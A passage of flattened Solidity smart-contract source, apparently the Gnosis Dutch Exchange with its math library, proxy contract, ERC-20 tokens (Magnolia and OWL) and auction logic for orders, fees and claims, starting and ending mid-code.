{ require(safeToAdd(a, b)); return a + b; } /// @dev Returns difference if no overflow occurred /// @param a Minuend /// @param b Subtrahend /// @return Difference function sub(uint a, uint b) internal pure returns (uint) { require(safeToSub(a, b)); return a - b; } /// @dev Returns product if no overflow occurred /// @param a First factor /// @param b Second factor /// @return Product function mul(uint a, uint b) internal pure returns (uint) { require(safeToMul(a, b)); return a * b; } /// @dev Returns whether an add operation causes an overflow /// @param a First addend /// @param b Second addend /// @return Did no overflow occur? function safeToAdd(int a, int b) internal pure returns (bool) { return (b >= 0 && a + b >= a) || (b < 0 && a + b < a); } /// @dev Returns whether a subtraction operation causes an underflow /// @param a Minuend /// @param b Subtrahend /// @return Did no underflow occur? function safeToSub(int a, int b) internal pure returns (bool) { return (b >= 0 && a - b <= a) || (b < 0 && a - b > a); } /// @dev Returns whether a multiply operation causes an overflow /// @param a First factor /// @param b Second factor /// @return Did no overflow occur? function safeToMul(int a, int b) internal pure returns (bool) { return (b == 0) || (a * b / b == a); } /// @dev Returns sum if no overflow occurred /// @param a First addend /// @param b Second addend /// @return Sum function add(int a, int b) internal pure returns (int) { require(safeToAdd(a, b)); return a + b; } /// @dev Returns difference if no overflow occurred /// @param a Minuend /// @param b Subtrahend /// @return Difference function sub(int a, int b) internal pure returns (int) { require(safeToSub(a, b)); return a - b; } /// @dev Returns product if no overflow occurred /// @param a First factor /// @param b Second factor /// @return Product function mul(int a, int b) internal pure returns (int) { require(safeToMul(a, b)); return a * b; } } // File: @gnosis.pm/util-contracts/contracts/Proxy.sol /// @title Proxied - indicates that a contract will be proxied. Also defines storage requirements for Proxy. /// @author Alan Lu - <[email protected]> contract Proxied { address public masterCopy; } /// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> contract Proxy is Proxied { /// @dev Constructor function sets address of master copy contract. /// @param _masterCopy Master copy address. function Proxy(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } /// @dev Fallback function forwards all transactions and returns all received return data. function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch success case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } // File: @gnosis.pm/util-contracts/contracts/Token.sol /// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md pragma solidity ^0.4.21; /// @title Abstract token contract - Functions to be implemented by token contracts contract Token { /* * Events */ event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); /* * Public functions */ function transfer(address to, uint value) public returns (bool); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); function balanceOf(address owner) public view returns (uint); function allowance(address owner, address spender) public view returns (uint); function totalSupply() public view returns (uint); } // File: @gnosis.pm/util-contracts/contracts/StandardToken.sol contract StandardTokenData { /* * Storage */ mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowances; uint totalTokens; } /// @title Standard token contract with overflow protection contract StandardToken is Token, StandardTokenData { using Math for *; /* * Public functions */ /// @dev Transfers sender&#39;s tokens to a given address. Returns success /// @param to Address of token receiver /// @param value Number of tokens to transfer /// @return Was transfer successful? function transfer(address to, uint value) public returns (bool) { if ( !balances[msg.sender].safeToSub(value) || !balances[to].safeToAdd(value)) return false; balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success /// @param from Address from where tokens are withdrawn /// @param to Address to where tokens are sent /// @param value Number of tokens to transfer /// @return Was transfer successful? function transferFrom(address from, address to, uint value) public returns (bool) { if ( !balances[from].safeToSub(value) || !allowances[from][msg.sender].safeToSub(value) || !balances[to].safeToAdd(value)) return false; balances[from] -= value; allowances[from][msg.sender] -= value; balances[to] += value; emit Transfer(from, to, value); return true; } /// @dev Sets approved amount of tokens for spender. Returns success /// @param spender Address of allowed account /// @param value Number of approved tokens /// @return Was approval successful? function approve(address spender, uint value) public returns (bool) { allowances[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Returns number of allowed tokens for given address /// @param owner Address of token owner /// @param spender Address of token spender /// @return Remaining allowance for spender function allowance(address owner, address spender) public view returns (uint) { return allowances[owner][spender]; } /// @dev Returns number of tokens owned by given address /// @param owner Address of token owner /// @return Balance of owner function balanceOf(address owner) public view returns (uint) { return balances[owner]; } /// @dev Returns total supply of tokens /// @return Total supply function totalSupply() public view returns (uint) { return totalTokens; } } // File: contracts/TokenFRT.sol /// @title Standard token contract with overflow protection contract TokenFRT is StandardToken { string public constant symbol = "MGN"; string public constant name = "Magnolia Token"; uint8 public constant decimals = 18; struct unlockedToken { uint amountUnlocked; uint withdrawalTime; } /* * Storage */ address public owner; address public minter; // user => unlockedToken mapping (address => unlockedToken) public unlockedTokens; // user => amount mapping (address => uint) public lockedTokenBalances; /* * Public functions */ function TokenFRT( address _owner ) public { require(_owner != address(0)); owner = _owner; } // @dev allows to set the minter of Magnolia tokens once. // @param _minter the minter of the Magnolia tokens, should be the DX-proxy function updateMinter( address _minter ) public { require(msg.sender == owner); require(_minter != address(0)); minter = _minter; } // @dev the intention is to set the owner as the DX-proxy, once it is deployed // Then only an update of the DX-proxy contract after a 30 days delay could change the minter again. function updateOwner( address _owner ) public { require(msg.sender == owner); require(_owner != address(0)); owner = _owner; } function mintTokens( address user, uint amount ) public { require(msg.sender == minter); lockedTokenBalances[user] = add(lockedTokenBalances[user], amount); totalTokens = add(totalTokens, amount); } /// @dev Lock Token function lockTokens( uint amount ) public returns (uint totalAmountLocked) { // Adjust amount by balance amount = min(amount, balances[msg.sender]); // Update state variables balances[msg.sender] = sub(balances[msg.sender], amount); lockedTokenBalances[msg.sender] = add(lockedTokenBalances[msg.sender], amount); // Get return variable totalAmountLocked = lockedTokenBalances[msg.sender]; } function unlockTokens( uint amount ) public returns (uint totalAmountUnlocked, uint withdrawalTime) { // Adjust amount by locked balances amount = min(amount, lockedTokenBalances[msg.sender]); if (amount > 0) { // Update state variables lockedTokenBalances[msg.sender] = sub(lockedTokenBalances[msg.sender], amount); unlockedTokens[msg.sender].amountUnlocked = add(unlockedTokens[msg.sender].amountUnlocked, amount); unlockedTokens[msg.sender].withdrawalTime = now + 24 hours; } // Get return variables totalAmountUnlocked = unlockedTokens[msg.sender].amountUnlocked; withdrawalTime = unlockedTokens[msg.sender].withdrawalTime; } function withdrawUnlockedTokens() public { require(unlockedTokens[msg.sender].withdrawalTime < now); balances[msg.sender] = add(balances[msg.sender], unlockedTokens[msg.sender].amountUnlocked); unlockedTokens[msg.sender].amountUnlocked = 0; } function min(uint a, uint b) public pure returns (uint) { if (a < b) { return a; } else { return b; } } /// @dev Returns whether an add operation causes an overflow /// @param a First addend /// @param b Second addend /// @return Did no overflow occur? function safeToAdd(uint a, uint b) public constant returns (bool) { return a + b >= a; } /// @dev Returns whether a subtraction operation causes an underflow /// @param a Minuend /// @param b Subtrahend /// @return Did no underflow occur? function safeToSub(uint a, uint b) public constant returns (bool) { return a >= b; } /// @dev Returns sum if no overflow occurred /// @param a First addend /// @param b Second addend /// @return Sum function add(uint a, uint b) public constant returns (uint) { require(safeToAdd(a, b)); return a + b; } /// @dev Returns difference if no overflow occurred /// @param a Minuend /// @param b Subtrahend /// @return Difference function sub(uint a, uint b) public constant returns (uint) { require(safeToSub(a, b)); return a - b; } } // File: @gnosis.pm/owl-token/contracts/TokenOWL.sol contract TokenOWL is Proxied, StandardToken { using Math for *; string public constant name = "OWL Token"; string public constant symbol = "OWL"; uint8 public constant decimals = 18; struct masterCopyCountdownType { address masterCopy; uint timeWhenAvailable; } masterCopyCountdownType masterCopyCountdown; address public creator; address public minter; event Minted(address indexed to, uint256 amount); event Burnt(address indexed from, address indexed user, uint256 amount); modifier onlyCreator() { // R1 require(msg.sender == creator); _; } /// @dev trickers the update process via the proxyMaster for a new address _masterCopy /// updating is only possible after 30 days function startMasterCopyCountdown ( address _masterCopy ) public onlyCreator() { require(address(_masterCopy) != 0); // Update masterCopyCountdown masterCopyCountdown.masterCopy = _masterCopy; masterCopyCountdown.timeWhenAvailable = now + 30 days; } /// @dev executes the update process via the proxyMaster for a new address _masterCopy function updateMasterCopy() public onlyCreator() { require(address(masterCopyCountdown.masterCopy) != 0); require(now >= masterCopyCountdown.timeWhenAvailable); // Update masterCopy masterCopy = masterCopyCountdown.masterCopy; } function getMasterCopy() public view returns (address) { return masterCopy; } /// @dev Set minter. Only the creator of this contract can call this. /// @param newMinter The new address authorized to mint this token function setMinter(address newMinter) public onlyCreator() { minter = newMinter; } /// @dev change owner/creator of the contract. Only the creator/owner of this contract can call this. /// @param newOwner The new address, which should become the owner function setNewOwner(address newOwner) public onlyCreator() { creator = newOwner; } /// @dev Mints OWL. /// @param to Address to which the minted token will be given /// @param amount Amount of OWL to be minted function mintOWL(address to, uint amount) public { require(minter != 0 && msg.sender == minter); balances[to] = balances[to].add(amount); totalTokens = totalTokens.add(amount); emit Minted(to, amount); } /// @dev Burns OWL. /// @param user Address of OWL owner /// @param amount Amount of OWL to be burnt function burnOWL(address user, uint amount) public { allowances[user][msg.sender] = allowances[user][msg.sender].sub(amount); balances[user] = balances[user].sub(amount); totalTokens = totalTokens.sub(amount); emit Burnt(msg.sender, user, amount); } } // File: contracts/DutchExchange.sol /// @title Dutch Exchange - exchange token pairs with the clever mechanism of the dutch auction /// @author Alex Herrmann - <[email protected]> /// @author Dominik Teiml - <[email protected]> contract DutchExchange is Proxied { // The price is a rational number, so we need a concept of a fraction struct fraction { uint num; uint den; } uint constant WAITING_PERIOD_NEW_TOKEN_PAIR = 6 hours; uint constant WAITING_PERIOD_NEW_AUCTION = 10 minutes; uint constant WAITING_PERIOD_CHANGE_MASTERCOPY_OR_ORACLE = 30 days; uint constant AUCTION_START_WAITING_FOR_FUNDING = 1; address public newMasterCopy; // Time when new masterCopy is updatabale uint public masterCopyCountdown; // > Storage // auctioneer has the power to manage some variables address public auctioneer; // Ether ERC-20 token address public ethToken; // Price Oracle interface PriceOracleInterface public ethUSDOracle; // Price Oracle interface proposals during update process PriceOracleInterface public newProposalEthUSDOracle; uint public oracleInterfaceCountdown; // Minimum required sell funding for adding a new token pair, in USD uint public thresholdNewTokenPair; // Minimum required sell funding for starting antoher auction, in USD uint public thresholdNewAuction; // Fee reduction token (magnolia, ERC-20 token) TokenFRT public frtToken; // Token for paying fees TokenOWL public owlToken; // mapping that stores the tokens, which are approved // Token => approved // Only tokens approved by auctioneer generate frtToken tokens mapping (address => bool) public approvedTokens; // For the following two mappings, there is one mapping for each token pair // The order which the tokens should be called is smaller, larger // These variables should never be called directly! They have getters below // Token => Token => index mapping (address => mapping (address => uint)) public latestAuctionIndices; // Token => Token => time mapping (address => mapping (address => uint)) public auctionStarts; // Token => Token => auctionIndex => price mapping (address => mapping (address => mapping (uint => fraction))) public closingPrices; // Token => Token => amount mapping (address => mapping (address => uint)) public sellVolumesCurrent; // Token => Token => amount mapping (address => mapping (address => uint)) public sellVolumesNext; // Token => Token => amount mapping (address => mapping (address => uint)) public buyVolumes; // Token => user => amount // balances stores a user&#39;s balance in the DutchX mapping (address => mapping (address => uint)) public balances; // Token => Token => auctionIndex => amount mapping (address => mapping (address => mapping (uint => uint))) public extraTokens; // Token => Token => auctionIndex => user => amount mapping (address => mapping (address => mapping (uint => mapping (address => uint)))) public sellerBalances; mapping (address => mapping (address => mapping (uint => mapping (address => uint)))) public buyerBalances; mapping (address => mapping (address => mapping (uint => mapping (address => uint)))) public claimedAmounts; // > Modifiers modifier onlyAuctioneer() { // Only allows auctioneer to proceed // R1 require(msg.sender == auctioneer); _; } /// @dev Constructor-Function creates exchange /// @param _frtToken - address of frtToken ERC-20 token /// @param _owlToken - address of owlToken ERC-20 token /// @param _auctioneer - auctioneer for managing interfaces /// @param _ethToken - address of ETH ERC-20 token /// @param _ethUSDOracle - address of the oracle contract for fetching feeds /// @param _thresholdNewTokenPair - Minimum required sell funding for adding a new token pair, in USD function setupDutchExchange( TokenFRT _frtToken, TokenOWL _owlToken, address _auctioneer, address _ethToken, PriceOracleInterface _ethUSDOracle, uint _thresholdNewTokenPair, uint _thresholdNewAuction ) public { // Make sure contract hasn&#39;t been initialised require(ethToken == 0); // Validates inputs require(address(_owlToken) != address(0)); require(address(_frtToken) != address(0)); require(_auctioneer != 0); require(_ethToken != 0); require(address(_ethUSDOracle) != address(0)); frtToken = _frtToken; owlToken = _owlToken; auctioneer = _auctioneer; ethToken = _ethToken; ethUSDOracle = _ethUSDOracle; thresholdNewTokenPair = _thresholdNewTokenPair; thresholdNewAuction = _thresholdNewAuction; } function updateAuctioneer( address _auctioneer ) public onlyAuctioneer { require(_auctioneer != address(0)); auctioneer = _auctioneer; } function initiateEthUsdOracleUpdate( PriceOracleInterface _ethUSDOracle ) public onlyAuctioneer { require(address(_ethUSDOracle) != address(0)); newProposalEthUSDOracle = _ethUSDOracle; oracleInterfaceCountdown = add(now, WAITING_PERIOD_CHANGE_MASTERCOPY_OR_ORACLE); NewOracleProposal(_ethUSDOracle); } function updateEthUSDOracle() public onlyAuctioneer { require(address(newProposalEthUSDOracle) != address(0)); require(oracleInterfaceCountdown < now); ethUSDOracle = newProposalEthUSDOracle; newProposalEthUSDOracle = PriceOracleInterface(0); } function updateThresholdNewTokenPair( uint _thresholdNewTokenPair ) public onlyAuctioneer { thresholdNewTokenPair = _thresholdNewTokenPair; } function updateThresholdNewAuction( uint _thresholdNewAuction ) public onlyAuctioneer { thresholdNewAuction = _thresholdNewAuction; } function updateApprovalOfToken( address[] token, bool approved ) public onlyAuctioneer { for(uint i = 0; i < token.length; i++) { approvedTokens[token[i]] = approved; Approval(token[i], approved); } } function startMasterCopyCountdown ( address _masterCopy ) public onlyAuctioneer { require(_masterCopy != address(0)); // Update masterCopyCountdown newMasterCopy = _masterCopy; masterCopyCountdown = add(now, WAITING_PERIOD_CHANGE_MASTERCOPY_OR_ORACLE); NewMasterCopyProposal(_masterCopy); } function updateMasterCopy() public onlyAuctioneer { require(newMasterCopy != address(0)); require(now >= masterCopyCountdown); // Update masterCopy masterCopy = newMasterCopy; newMasterCopy = address(0); } /// @param initialClosingPriceNum initial price will be 2 * initialClosingPrice. This is its numerator /// @param initialClosingPriceDen initial price will be 2 * initialClosingPrice. This is its denominator function addTokenPair( address token1, address token2, uint token1Funding, uint token2Funding, uint initialClosingPriceNum, uint initialClosingPriceDen ) public { // R1 require(token1 != token2); // R2 require(initialClosingPriceNum != 0); // R3 require(initialClosingPriceDen != 0); // R4 require(getAuctionIndex(token1, token2) == 0); // R5: to prevent overflow require(initialClosingPriceNum < 10 ** 18); // R6 require(initialClosingPriceDen < 10 ** 18); setAuctionIndex(token1, token2); token1Funding = min(token1Funding, balances[token1][msg.sender]); token2Funding = min(token2Funding, balances[token2][msg.sender]); // R7 require(token1Funding < 10 ** 30); // R8 require(token2Funding < 10 ** 30); uint fundedValueUSD; uint ethUSDPrice = ethUSDOracle.getUSDETHPrice(); // Compute fundedValueUSD address ethTokenMem = ethToken; if (token1 == ethTokenMem) { // C1 // MUL: 10^30 * 10^6 = 10^36 fundedValueUSD = mul(token1Funding, ethUSDPrice); } else if (token2 == ethTokenMem) { // C2 // MUL: 10^30 * 10^6 = 10^36 fundedValueUSD = mul(token2Funding, ethUSDPrice); } else { // C3: Neither token is ethToken fundedValueUSD = calculateFundedValueTokenToken(token1, token2, token1Funding, token2Funding, ethTokenMem, ethUSDPrice); } // R5 require(fundedValueUSD >= thresholdNewTokenPair); // Save prices of opposite auctions closingPrices[token1][token2][0] = fraction(initialClosingPriceNum, initialClosingPriceDen); closingPrices[token2][token1][0] = fraction(initialClosingPriceDen, initialClosingPriceNum); // Split into two fns because of 16 local-var cap addTokenPairSecondPart(token1, token2, token1Funding, token2Funding); } function calculateFundedValueTokenToken( address token1, address token2, uint token1Funding, uint token2Funding, address ethTokenMem, uint ethUSDPrice ) internal view returns (uint fundedValueUSD) { // We require there to exist ethToken-Token auctions // R3.1 require(getAuctionIndex(token1, ethTokenMem) > 0); // R3.2 require(getAuctionIndex(token2, ethTokenMem) > 0); // Price of Token 1 uint priceToken1Num; uint priceToken1Den; (priceToken1Num, priceToken1Den) = getPriceOfTokenInLastAuction(token1); // Price of Token 2 uint priceToken2Num; uint priceToken2Den; (priceToken2Num, priceToken2Den) = getPriceOfTokenInLastAuction(token2); // Compute funded value in ethToken and USD // 10^30 * 10^30 = 10^60 uint fundedValueETH = add(mul(token1Funding, priceToken1Num) / priceToken1Den, token2Funding * priceToken2Num / priceToken2Den); fundedValueUSD = mul(fundedValueETH, ethUSDPrice); } function addTokenPairSecondPart( address token1, address token2, uint token1Funding, uint token2Funding ) internal { balances[token1][msg.sender] = sub(balances[token1][msg.sender], token1Funding); balances[token2][msg.sender] = sub(balances[token2][msg.sender], token2Funding); // Fee mechanism, fees are added to extraTokens uint token1FundingAfterFee = settleFee(token1, token2, 1, token1Funding); uint token2FundingAfterFee = settleFee(token2, token1, 1, token2Funding); // Update other variables sellVolumesCurrent[token1][token2] = token1FundingAfterFee; sellVolumesCurrent[token2][token1] = token2FundingAfterFee; sellerBalances[token1][token2][1][msg.sender] = token1FundingAfterFee; sellerBalances[token2][token1][1][msg.sender] = token2FundingAfterFee; setAuctionStart(token1, token2, WAITING_PERIOD_NEW_TOKEN_PAIR); NewTokenPair(token1, token2); } function deposit( address tokenAddress, uint amount ) public returns (uint) { // R1 require(Token(tokenAddress).transferFrom(msg.sender, this, amount)); uint newBal = add(balances[tokenAddress][msg.sender], amount); balances[tokenAddress][msg.sender] = newBal; NewDeposit(tokenAddress, amount); return newBal; } function withdraw( address tokenAddress, uint amount ) public returns (uint) { uint usersBalance = balances[tokenAddress][msg.sender]; amount = min(amount, usersBalance); // R1 require(amount > 0); // R2 require(Token(tokenAddress).transfer(msg.sender, amount)); uint newBal = sub(usersBalance, amount); balances[tokenAddress][msg.sender] = newBal; NewWithdrawal(tokenAddress, amount); return newBal; } function postSellOrder( address sellToken, address buyToken, uint auctionIndex, uint amount ) public returns (uint, uint) { // Note: if a user specifies auctionIndex of 0, it // means he is agnostic which auction his sell order goes into amount = min(amount, balances[sellToken][msg.sender]); // R1 require(amount > 0); // R2 uint latestAuctionIndex = getAuctionIndex(sellToken, buyToken); require(latestAuctionIndex > 0); // R3 uint auctionStart = getAuctionStart(sellToken, buyToken); if (auctionStart == AUCTION_START_WAITING_FOR_FUNDING || auctionStart > now) { // C1: We are in the 10 minute buffer period // OR waiting for an auction to receive sufficient sellVolume // Auction has already cleared, and index has been incremented // sell order must use that auction index // R1.1 if (auctionIndex == 0) { auctionIndex = latestAuctionIndex; } else { require(auctionIndex == latestAuctionIndex); } // R1.2 require(add(sellVolumesCurrent[sellToken][buyToken], amount) < 10 ** 30); } else { // C2 // R2.1: Sell orders must go to next auction if (auctionIndex == 0) { auctionIndex = latestAuctionIndex + 1; } else { require(auctionIndex == latestAuctionIndex + 1); } // R2.2 require(add(sellVolumesNext[sellToken][buyToken], amount) < 10 ** 30); } // Fee mechanism, fees are added to extraTokens uint amountAfterFee = settleFee(sellToken, buyToken, auctionIndex, amount); // Update variables balances[sellToken][msg.sender] = sub(balances[sellToken][msg.sender], amount); uint newSellerBal = add(sellerBalances[sellToken][buyToken][auctionIndex][msg.sender], amountAfterFee); sellerBalances[sellToken][buyToken][auctionIndex][msg.sender] = newSellerBal; if (auctionStart == AUCTION_START_WAITING_FOR_FUNDING || auctionStart > now) { // C1 uint sellVolumeCurrent = sellVolumesCurrent[sellToken][buyToken]; sellVolumesCurrent[sellToken][buyToken] = add(sellVolumeCurrent, amountAfterFee); } else { // C2 uint sellVolumeNext = sellVolumesNext[sellToken][buyToken]; sellVolumesNext[sellToken][buyToken] = add(sellVolumeNext, amountAfterFee); } if (auctionStart == AUCTION_START_WAITING_FOR_FUNDING) { scheduleNextAuction(sellToken, buyToken); } NewSellOrder(sellToken, buyToken, msg.sender, auctionIndex, amountAfterFee); return (auctionIndex, newSellerBal); } function postBuyOrder( address sellToken, address buyToken, uint auctionIndex, uint amount ) public returns (uint) { // R1: auction must not have cleared require(closingPrices[sellToken][buyToken][auctionIndex].den == 0); uint auctionStart = getAuctionStart(sellToken, buyToken); // R2 require(auctionStart <= now); // R4 require(auctionIndex == getAuctionIndex(sellToken, buyToken)); // R5: auction must not be in waiting period require(auctionStart > AUCTION_START_WAITING_FOR_FUNDING); // R6: auction must be funded require(sellVolumesCurrent[sellToken][buyToken] > 0); uint buyVolume = buyVolumes[sellToken][buyToken]; amount = min(amount, balances[buyToken][msg.sender]); // R7 require(add(buyVolume, amount) < 10 ** 30); // Overbuy is when a part of a buy order clears an auction // In that case we only process the part before the overbuy // To calculate overbuy, we first get current price uint sellVolume = sellVolumesCurrent[sellToken][buyToken]; uint num; uint den; (num, den) = getCurrentAuctionPrice(sellToken, buyToken, auctionIndex); // 10^30 * 10^37 = 10^67 uint outstandingVolume = atleastZero(int(mul(sellVolume, num) / den - buyVolume)); uint amountAfterFee; if (amount < outstandingVolume) { if (amount > 0) { amountAfterFee = settleFee(buyToken, sellToken, auctionIndex, amount); } } else { amount = outstandingVolume; amountAfterFee = outstandingVolume; } // Here we could also use outstandingVolume or amountAfterFee, it doesn&#39;t matter if (amount > 0) { // Update variables balances[buyToken][msg.sender] = sub(balances[buyToken][msg.sender], amount); uint newBuyerBal = add(buyerBalances[sellToken][buyToken][auctionIndex][msg.sender], amountAfterFee); buyerBalances[sellToken][buyToken][auctionIndex][msg.sender] = newBuyerBal; buyVolumes[sellToken][buyToken] = add(buyVolumes[sellToken][buyToken], amountAfterFee); NewBuyOrder(sellToken, buyToken, msg.sender, auctionIndex, amountAfterFee); } // Checking for equality would suffice here. nevertheless: if (amount >= outstandingVolume) { // Clear auction clearAuction(sellToken, buyToken, auctionIndex, sellVolume); } return (newBuyerBal); } function claimSellerFunds( address sellToken, address buyToken, address user, uint auctionIndex ) public // < (10^60, 10^61) returns (uint returned, uint frtsIssued) { closeTheoreticalClosedAuction(sellToken, buyToken, auctionIndex); uint sellerBalance = sellerBalances[sellToken][buyToken][auctionIndex][user]; // R1 require(sellerBalance > 0); // Get closing price for said auction fraction memory closingPrice = closingPrices[sellToken][buyToken][auctionIndex]; uint num = closingPrice.num; uint den = closingPrice.den; // R2: require auction to have cleared require(den > 0); // Calculate return // < 10^30 * 10^30 = 10^60 returned = mul(sellerBalance, num) / den; frtsIssued = issueFrts(sellToken, buyToken, returned, auctionIndex, sellerBalance, user); // Claim tokens sellerBalances[sellToken][buyToken][auctionIndex][user] = 0; if (returned > 0) { balances[buyToken][user] = add(balances[buyToken][user], returned); } NewSellerFundsClaim(sellToken, buyToken, user, auctionIndex, returned, frtsIssued); } function claimBuyerFunds( address sellToken, address buyToken, address user, uint auctionIndex ) public returns (uint returned, uint frtsIssued) { closeTheoreticalClosedAuction(sellToken, buyToken, auctionIndex); uint num; uint den; (returned, num, den) = getUnclaimedBuyerFunds(sellToken, buyToken, user, auctionIndex); if (closingPrices[sellToken][buyToken][auctionIndex].den == 0) { // Auction is running claimedAmounts[sellToken][buyToken][auctionIndex][user] = add(claimedAmounts[sellToken][buyToken][auctionIndex][user], returned); } else { // Auction has closed // We DON&#39;T want to check for returned > 0, because that would fail if a user claims // intermediate funds & auction clears in same block (he/she would not be able to claim extraTokens) // Assign extra sell tokens (this is possible only after auction has cleared, // because buyVolume could still increase before that) uint extraTokensTotal = extraTokens[sellToken][buyToken][auctionIndex]; uint buyerBalance = buyerBalances[sellToken][buyToken][auctionIndex][user]; // closingPrices.num represents buyVolume // < 10^30 * 10^30 = 10^60 uint tokensExtra = mul(buyerBalance, extraTokensTotal) / closingPrices[sellToken][buyToken][auctionIndex].num; returned = add(returned, tokensExtra); frtsIssued = issueFrts(buyToken, sellToken, mul(buyerBalance, den) / num, auctionIndex, buyerBalance, user); // Auction has closed // Reset buyerBalances and claimedAmounts buyerBalances[sellToken][buyToken][auctionIndex][user] = 0; claimedAmounts[sellToken][buyToken][auctionIndex][user] = 0; } // Claim tokens if (returned > 0) { balances[sellToken][user] = add(balances[sellToken][user], returned); } NewBuyerFundsClaim(sellToken, buyToken, user, auctionIndex, returned, frtsIssued); } function issueFrts( address primaryToken, address secondaryToken, uint x, uint auctionIndex, uint bal, address user ) internal returns (uint frtsIssued) { if (approvedTokens[primaryToken] && approvedTokens[secondaryToken]) { address ethTokenMem = ethToken; // Get frts issued based on ETH price of returned tokens if (primaryToken == ethTokenMem) { frtsIssued = bal; } else if (secondaryToken == ethTokenMem) { // 10^30 * 10^39 = 10^66 frtsIssued = x; } else { // Neither token is ethToken, so we use getHhistoricalPriceOracle() uint pastNum; uint pastDen; (pastNum, pastDen) = getPriceInPastAuction(primaryToken, ethTokenMem, auctionIndex - 1); // 10^30 * 10^35 = 10^65 frtsIssued = mul(bal, pastNum) / pastDen; } if (frtsIssued > 0) { // Issue frtToken frtToken.mintTokens(user, frtsIssued); } } } //@dev allows to close possible theoretical closed markets //@param sellToken sellToken of an auction //@param buyToken buyToken of an auction //@param index is the auctionIndex of the auction function closeTheoreticalClosedAuction( address sellToken, address buyToken, uint auctionIndex ) public { if(auctionIndex == getAuctionIndex(buyToken, sellToken) && closingPrices[sellToken][buyToken][auctionIndex].num == 0) { uint buyVolume = buyVolumes[sellToken][buyToken]; uint sellVolume = sellVolumesCurrent[sellToken][buyToken]; uint num; uint den; (num, den) = getCurrentAuctionPrice(sellToken, buyToken, auctionIndex); // 10^30 * 10^37 = 10^67 uint outstandingVolume = atleastZero(int(mul(sellVolume, num) / den - buyVolume)); if(outstandingVolume == 0) { postBuyOrder(sellToken, buyToken, auctionIndex, 0); } } } /// @dev Claim buyer funds for one auction function getUnclaimedBuyerFunds( address sellToken, address buyToken, address user, uint auctionIndex ) public view // < (10^67, 10^37) returns (uint unclaimedBuyerFunds, uint num, uint den) { // R1: checks if particular auction has ever run require(auctionIndex <= getAuctionIndex(sellToken, buyToken)); (num, den) = getCurrentAuctionPrice(sellToken, buyToken, auctionIndex); if (num == 0) { // This should rarely happen - as long as there is >= 1 buy order, // auction will clear before price = 0. So this is just fail-safe unclaimedBuyerFunds = 0; } else { uint buyerBalance = buyerBalances[sellToken][buyToken][auctionIndex][user]; // < 10^30 * 10^37 = 10^67 unclaimedBuyerFunds = atleastZero(int( mul(buyerBalance, den) / num - claimedAmounts[sellToken][buyToken][auctionIndex][user] )); } } function settleFee( address primaryToken, address secondaryToken, uint auctionIndex, uint amount ) internal // < 10^30 returns (uint amountAfterFee) { uint feeNum; uint feeDen; (feeNum, feeDen) = getFeeRatio(msg.sender); // 10^30 * 10^3 / 10^4 = 10^29 uint fee = mul(amount, feeNum) / feeDen; if (fee > 0) { fee = settleFeeSecondPart(primaryToken, fee); uint usersExtraTokens = extraTokens[primaryToken][secondaryToken][auctionIndex + 1]; extraTokens[primaryToken][secondaryToken][auctionIndex + 1] = add(usersExtraTokens, fee); Fee(primaryToken, secondaryToken, msg.sender, auctionIndex, fee); } amountAfterFee = sub(amount, fee); } function settleFeeSecondPart( address primaryToken, uint fee ) internal returns (uint newFee) { // Allow user to reduce up to half of the fee with owlToken uint num; uint den; (num, den) = getPriceOfTokenInLastAuction(primaryToken); // Convert fee to ETH, then USD // 10^29 * 10^30 / 10^30 = 10^29 uint feeInETH = mul(fee, num) / den; uint ethUSDPrice = ethUSDOracle.getUSDETHPrice(); // 10^29 * 10^6 = 10^35 // Uses 18 decimal places <> exactly as owlToken tokens: 10**18 owlToken == 1 USD uint feeInUSD = mul(feeInETH, ethUSDPrice); uint amountOfowlTokenBurned = min(owlToken.allowance(msg.sender, this), feeInUSD / 2); amountOfowlTokenBurned = min(owlToken.balanceOf(msg.sender), amountOfowlTokenBurned); if (amountOfowlTokenBurned > 0) { owlToken.burnOWL(msg.sender, amountOfowlTokenBurned); // Adjust fee // 10^35 * 10^29 = 10^64 uint adjustment = mul(amountOfowlTokenBurned, fee) / feeInUSD; newFee = sub(fee, adjustment); } else { newFee = fee; } } function getFeeRatio( address user ) public view // feeRatio < 10^4 returns (uint num, uint den) { uint t = frtToken.totalSupply(); uint b = frtToken.lockedTokenBalances(user); if (b * 100000 < t || t == 0) { // 0.5% num = 1; den = 200; } else if (b * 10000 < t) { // 0.4% num = 1; den = 250; } else if (b * 1000 < t) { // 0.3% num = 3; den = 1000; } else if (b * 100 < t) { // 0.2% num = 1; den = 500; } else if (b * 10 < t) { // 0.1% num = 1; den = 1000; } else { // 0% num = 0; den = 1; } } /// @dev clears an Auction /// @param sellToken sellToken of the auction /// @param buyToken buyToken of the auction /// @param auctionIndex of the auction to be cleared. function clearAuction( address sellToken, address buyToken, uint auctionIndex, uint sellVolume ) internal { // Get variables uint buyVolume = buyVolumes[sellToken][buyToken]; uint sellVolumeOpp = sellVolumesCurrent[buyToken][sellToken]; uint closingPriceOppDen = closingPrices[buyToken][sellToken][auctionIndex].den; uint auctionStart = getAuctionStart(sellToken, buyToken); // Update closing price if (sellVolume > 0) { closingPrices[sellToken][buyToken][auctionIndex] = fraction(buyVolume, sellVolume); } // if (opposite is 0 auction OR price = 0 OR opposite auction cleared) // price = 0 happens if auction pair has been running for >= 24 hrs = 86400 if (sellVolumeOpp == 0 || now >= auctionStart + 86400 || closingPriceOppDen > 0) { // Close auction pair uint buyVolumeOpp = buyVolumes[buyToken][sellToken]; if (closingPriceOppDen == 0 && sellVolumeOpp > 0) { // Save opposite price closingPrices[buyToken][sellToken][auctionIndex] = fraction(buyVolumeOpp, sellVolumeOpp); } uint sellVolumeNext = sellVolumesNext[sellToken][buyToken]; uint sellVolumeNextOpp = 